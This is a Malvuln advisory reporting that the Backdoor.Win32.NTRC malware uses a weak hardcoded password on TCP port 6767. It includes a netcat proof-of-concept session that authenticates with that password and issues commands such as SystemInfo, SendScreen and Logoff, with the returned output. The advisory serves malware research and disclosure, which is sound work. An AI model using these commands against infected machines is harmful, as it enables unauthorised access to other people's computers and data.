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Backdoor.Win32.NTRC MVID-2022-0646 Hardcoded Credential

🗓️ 03 Oct 2022 00:00:00Reported by malvuln, malvuln.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 164 Views

Malware Backdoor Weak Hardcoded Credential

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Code
`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NTRC  
Vulnerability: Weak Hardcoded Credentials  
Family: NTRC  
Type: PE32  
MD5: 273fd3f33279cc9c0378a49cf63d7a06  
Vuln ID: MVID-2022-0646  
Disclosure: 10/02/2022  
Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart.  
  
0045E520 dd 16 ; Len  
0045E520 db 'Please change me',0 ; Text  
0045E539 align 4  
  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 6767  
SendScreen  
SendScreenNextPart  
Stop  
  
Please change me;Shutdown;  
Error;Can not shutdown the server. Please contact the author at [email protected]  
Please change me;Logoff;  
  
Please change me;SystemInfo;  
SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium  
  
Please change me;SystemInfo2;  
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;D  
  
Please change me;Logoff;  
FolderMonitorChanged  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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03 Oct 2022 00:00Current
7.4High risk
Vulners AI Score7.4
164
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